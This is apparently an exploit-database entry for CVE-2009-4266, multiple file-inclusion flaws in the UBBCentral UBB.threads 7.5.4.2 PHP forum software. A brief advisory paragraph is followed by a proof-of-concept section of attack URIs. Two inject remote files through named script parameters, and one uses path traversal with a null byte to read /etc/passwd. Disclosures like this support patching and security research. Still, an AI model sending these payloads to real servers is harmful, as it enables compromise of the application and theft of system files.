UBBCentral UBB.Threads 7.5.4 2 - Multiple File Inclusions

Author: R3VAN_BASTARD
type: webapps
platform: php
port: 
date_added: 2009-12-03 
date_updated: 2011-06-28 
verified: 0 
codes: CVE-2009-4266 
tags: 
aliases:  
screenshot_url:  
application_url: 

UBBCentral: http://www.ubbcentral.com/

UBB.threads is prone to multiple file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromise the application and the computer; other attacks are also possible.

UBB.threads 7.5.4.2 is vulnerable; other versions may also be affected.

POC:
An attacker can exploit these issues via a browser.

The following example URIs are available:

http://server/path/ubb/libs/smarty/Smarty_Compiler.class.php?_plugins_params=[RFI]
http://server/path/ubb/libs/html.inc.php?[USER_LANGUAGE]=[RFI]
http://server/path/ubb/ubbthreads.php?file=../../../../../../../../etc/passwd%00